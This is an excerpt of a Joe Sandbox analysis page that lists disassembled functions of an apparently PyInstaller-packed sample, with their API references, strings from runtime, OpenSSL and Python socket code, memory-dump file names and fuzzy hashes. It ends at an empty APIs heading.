Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction ID: 2b94987a55666d7648b7d66308c2c78518f251fa95b715d1dc404e7d8e5d04f9
Opcode Fuzzy Hash: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction Fuzzy Hash: 0611FE20F0964241FA54F735A551379D395DF647B0FC882B7D92D476DEDD3CA8418222

Function 00007FF7EAD1B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7EAD1B235
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B254
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B27C
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B28D
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B29E

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction ID: d973e7f787f7056620904f9625f94c61a3d09728259864a0b272a578929d0dd1
Opcode Fuzzy Hash: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction Fuzzy Hash: 1011F520E0960741FA58F27155523BE9382DF6A330F8847B7D92E4A6DADD3CB8445233

Function 00007FF7EAD15FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD15FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD16106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD161BC

Strings

verbose, xrefs: 00007FF7EAD15FB0

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 6ba1e51ca70c65bd71bd0112676f57214e957a2231fe0b48fe2598bebb14c8a0
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 5A91CF62A08A4681F765EE34D4503BDB7A1EB60B94FC441B7DA5D833DBDE3CE8458322

Function 00007FF7EAD1FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1FEA7

Part of subcall function 00007FF7EAD17A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD17A59

Strings

ccs, xrefs: 00007FF7EAD1FDE2
UTF-16LEUNICODE, xrefs: 00007FF7EAD1FE45
UTF-8, xrefs: 00007FF7EAD1FE26

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 5dff4ca135240d0c977675bb2e43161060b7d3a62dbc8659e9e51c794e8daede
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: E881AE76E0860385F764FE398140378A7E1EB29B44FD548B7CA099729DCB3CE902D223

Function 00007FF8E7A22469 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

00007FF8F8751250.VCRUNTIME140 ref: 00007FF8E7A7D776

Strings

D:\a\1\s\include\internal/packet.h, xrefs: 00007FF8E7A7D7AE, 00007FF8E7A7D7CF
..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FF8E7A7D735, 00007FF8E7A7D79A, 00007FF8E7A7D802, 00007FF8E7A7D82F, 00007FF8E7A7D874
tls_parse_ctos_server_name, xrefs: 00007FF8E7A7D729, 00007FF8E7A7D785, 00007FF8E7A7D7F6, 00007FF8E7A7D823, 00007FF8E7A7D868

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F8751250
String ID: ..\s\ssl\statem\extensions_srvr.c$D:\a\1\s\include\internal/packet.h$tls_parse_ctos_server_name
API String ID: 4189947146-4157686371
Opcode ID: df7c5cc1c5450ab236299e71f02084b029a770e3f54b11b68fceadd1af193070
Instruction ID: 2d71aadb9e0b32e711d3d6e5e1b2f0db0d9365fdf4c15c8ca5e0b03cbb6067e4
Opcode Fuzzy Hash: df7c5cc1c5450ab236299e71f02084b029a770e3f54b11b68fceadd1af193070
Instruction Fuzzy Hash: 8B612521F1CA8241F7619BE1E4127BE6391EF857C4F484036EE6D4BA86EF2CE5908702

Function 00007FF8E7A4F070 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

00007FF9060208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8E7A4F127

Strings

SSL_SESSION_new, xrefs: 00007FF8E7A4F0D0, 00007FF8E7A4F18E
ssl_get_new_session, xrefs: 00007FF8E7A4F1D2, 00007FF8E7A4F30A
..\s\ssl\ssl_sess.c, xrefs: 00007FF8E7A4F0B2, 00007FF8E7A4F0DC, 00007FF8E7A4F19A, 00007FF8E7A4F1BE, 00007FF8E7A4F1DE, 00007FF8E7A4F316

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F9060208
String ID: ..\s\ssl\ssl_sess.c$SSL_SESSION_new$ssl_get_new_session
API String ID: 3464486852-2527649602
Opcode ID: 443d78a4e3b3249df96229489038a3b10db514096114595ff1d68b200bf7cc61
Instruction ID: a71305a7348b7528735c4420c908437be6bd95b0f1a8920254d7020936fa9126
Opcode Fuzzy Hash: 443d78a4e3b3249df96229489038a3b10db514096114595ff1d68b200bf7cc61
Instruction Fuzzy Hash: 2271AD21B08AC282FB48DBA5E8567FD3291EB84BC4F584135DA2D477D6EF3DE5918302

Function 00007FF7EAD0D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7EAD0D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7EAD0D70A
RtlUnwindEx.KERNEL32 ref: 00007FF7EAD0D764

Strings

csm, xrefs: 00007FF7EAD0D6F1

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: ab2047001a50b041f61c36572c0e40ef350eed9651f876fd83d0bfdca23d7181
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: E2518132A196028AEB14EB15E484779B792EF84B9CF904177EA8E4774CDF7CE841C711

Function 00007FF7EAD0F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7EAD0F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7EAD0F398

Strings

csm, xrefs: 00007FF7EAD0F3EA
csm, xrefs: 00007FF7EAD0F2D2

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 32d7097a487a524cb60571632e0e6ec79fd7304bc9c24c450ee0a39434292182
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: 0951823260834286FB64EA21908436EB7D6FB59B98FA48177DA4C47B89CF3CE451C712

Function 00007FF7EAD0EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7EAD0EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7EAD0EF83

Strings

RCC, xrefs: 00007FF7EAD0EF53
MOC, xrefs: 00007FF7EAD0EF4B

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: d21d4bc1030ff94c50f310ac91b866b3a8e9e89ecb24f393cdf84b1a0ba57750
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 8D618232908BC585E760EB25E4803AEB7A1FB98788F544276EB9C03759CF7CD190CB11

Function 00007FF8E79621E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

00007FF906026570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E796220A
00007FF906026570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7962228

Strings

CJK UNIFIED IDEOGRAPH-, xrefs: 00007FF8E796221E
HANGUL SYLLABLE , xrefs: 00007FF8E7962200

Memory Dump Source

Source File: 00000002.00000002.1488870171.00007FF8E7961000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FF8E7960000, based on PE: true

Associated: 00000002.00000002.1488485527.00007FF8E7960000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79AA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E79B8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1488870171.00007FF8E7A0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1489614277.00007FF8E7A10000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000002.00000002.1489734191.00007FF8E7A12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7960000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026570
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 1666080152-87138338
Opcode ID: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
Instruction ID: 4aa9079d802410afe4e66de35c465f2f2314a02e11a8fee58e2971c68e0e8e82
Opcode Fuzzy Hash: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
Instruction Fuzzy Hash: 4241E3B2B0864386EB14AFD8E44836D6752EF91BD0F544330EA7946AE9DF3CD5028B41

Function 00007FF8E7A219DD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A621AB
00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A621ED
00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A6222F

Strings

..\s\ssl\tls_srp.c, xrefs: 00007FF8E7A6229E, 00007FF8E7A622B0

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007E6784
String ID: ..\s\ssl\tls_srp.c
API String ID: 3284476089-1778748169
Opcode ID: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
Instruction ID: c3847b679368f1c5733ec763b45dcc74e8eb7b594c62e8d59a61578999a180df
Opcode Fuzzy Hash: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
Instruction Fuzzy Hash: BB413F65B0BA8380EA55AFE1E4527BC3292AF41FC8F184574DE7D0BBC9DF2CA4518212

Function 00007FF7EAD07E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7EAD0352C,?,00000000,00007FF7EAD03F23), ref: 00007FF7EAD07F32

Strings

%.*s, xrefs: 00007FF7EAD07EEB
%s%c, xrefs: 00007FF7EAD07EA4
\, xrefs: 00007FF7EAD07E97

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction ID: df1133399f990eec0029a3c2bf0e5599327757a551e291416c3c5cf70455a6bc
Opcode Fuzzy Hash: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction Fuzzy Hash: 9031E821619AC145FA21EB20E4907EAA355EF84BE8F800272EE6D477CDDF3CD6458721

Function 00007FF8E8132940 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetComputerNameExW.KERNEL32 ref: 00007FF8E813297D
GetLastError.KERNEL32 ref: 00007FF8E8133A26

Strings

socket.gethostname, xrefs: 00007FF8E8132955

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: ComputerErrorLastName
String ID: socket.gethostname
API String ID: 3560734967-2650736202
Opcode ID: 617a79839054c1372f9b5dcd0bed18d2927316b1072d0d7780bbcd75c64f5621
Instruction ID: f8f01552f5c23cc7677dd5f78d991a63ff230a5553faa859a5b2382d54a329c2
Opcode Fuzzy Hash: 617a79839054c1372f9b5dcd0bed18d2927316b1072d0d7780bbcd75c64f5621
Instruction Fuzzy Hash: D3313E61B0CB4386EB249BA1A85437E73A5FF89BD5F460435D94E866A4DF3CE044CB0A

Function 00007FF8E8138360 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

inet_ntop.WS2_32 ref: 00007FF8E8138425

Strings

iy*:inet_ntop, xrefs: 00007FF8E8138381
invalid length of packed IP address string, xrefs: 00007FF8E81383AF, 00007FF8E81383E9
unknown address family %d, xrefs: 00007FF8E813848D

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: inet_ntop
String ID: invalid length of packed IP address string$iy*:inet_ntop$unknown address family %d
API String ID: 448242623-2822559286
Opcode ID: 08a000b3334927d59a117a8bb923774045009f39c870e28a4b7b73a9ae5cd575
Instruction ID: 6a9e4dddeb31176e394991ec63e866a97ba02e3d46d6b2bd9d3d15af934bfa83
Opcode Fuzzy Hash: 08a000b3334927d59a117a8bb923774045009f39c870e28a4b7b73a9ae5cd575
Instruction Fuzzy Hash: C2311C61A2CA87D1EB608BA1E8507BD63A0FF89BC4F424432D54E93B64DF3CE449C716

Function 00007FF8E8135BA8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

getsockopt.WS2_32 ref: 00007FF8E8135C17
getsockopt.WS2_32 ref: 00007FF8E8135C6A

Strings

getsockopt buflen out of range, xrefs: 00007FF8E8135CAD
ii|i:getsockopt, xrefs: 00007FF8E8135BC8

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: getsockopt
String ID: getsockopt buflen out of range$ii|i:getsockopt
API String ID: 3272894102-2750947780
Opcode ID: 8c8cce7771d3f24cc9ac2e410138943029079e80a9b5900f9f3c000819b3f68c
Instruction ID: 7476eb513a92ca7a2495a3ed2da1838d0f2cfa6a249e7aa635969aedf001d1b3
Opcode Fuzzy Hash: 8c8cce7771d3f24cc9ac2e410138943029079e80a9b5900f9f3c000819b3f68c
Instruction Fuzzy Hash: FD315B72A19A46C7EB14CFA4E4403AE73A4FB84B88F110035EA8E83768DF3CD445CB45

Function 00007FF7EAD02810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF7EAD028EA

Strings

ERROR, xrefs: 00007FF7EAD0286F
Error, xrefs: 00007FF7EAD028DD
[PYI-%d:%ls] , xrefs: 00007FF7EAD02868

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 372e37d06d474096e91f2fde833aed86e05630f1b0b141587d3e2c14a81d2b76
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: BF21AE72B08B4182F710EB64F8847EAA3A5FB88784F800136EA8D57659DE3CE245C750

Function 00007FF8E8137AA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60networkCOMMON

Download Yara Rule

APIs

